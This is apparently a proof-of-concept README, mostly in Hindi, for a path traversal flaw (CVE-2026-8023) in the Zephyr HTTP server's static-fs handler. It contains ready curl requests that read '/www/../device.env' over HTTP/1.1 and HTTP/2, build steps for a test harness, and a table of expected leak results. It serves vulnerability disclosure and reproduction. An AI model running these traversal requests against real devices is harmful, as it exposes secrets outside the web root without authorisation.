
PoC for CVE-2026-8023: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
प्री-ऑथ पथ पारगमन Zephyr के HTTP सर्वर static-fs हैंडलर में
(subsys/net/lib/http) जब वाइल्डकार्ड संसाधन मिलान
(CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y) के साथ प्रयोग किया जाता है
HTTP_RESOURCE_TYPE_STATIC_FS. HTTP/1.1 और HTTP/2 दोनों को प्रभावित करता है।
GHSA: GHSA-hch3-53g6-jj3h
b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update
# Copy the contents of this repo's pocs/ into zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash
# Inside container:
west build -p always -b native_sim/native/64 \
zephyr/pocs/http_static_fs_native_sim \
-- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe
हार्नेस एक LittleFS इमेज माउंट करता है, /littlefs/device.env पर एक गुप्त लिखता है जो /littlefs/www/ वेब रूट के बाहर है, एक वाइल्डकार्ड static-fs रूट को एक्सपोज़ करता है, फिर चार लूपबैक अनुरोध जारी करता है:
| जांच | अनुरोध | अपेक्षित |
|---|
HTTP1_GLOB_TRAVERSAL | GET /www/../device.env (HTTP/1.1) | 200 + गुप्त |
HTTP1_ENCODED_TRAVERSAL | GET /www/%2e%2e/device.env (HTTP/1.1) | 404 (कोई डिकोड नहीं) |
HTTP2_GLOB_TRAVERSAL | :path = /www/../device.env (HTTP/2) | गुप्त बाइट्स |
HTTP2_ENCODED_TRAVERSAL | :path = /www/%2e%2e/device.env (HTTP/2) | कोई गुप्त नहीं |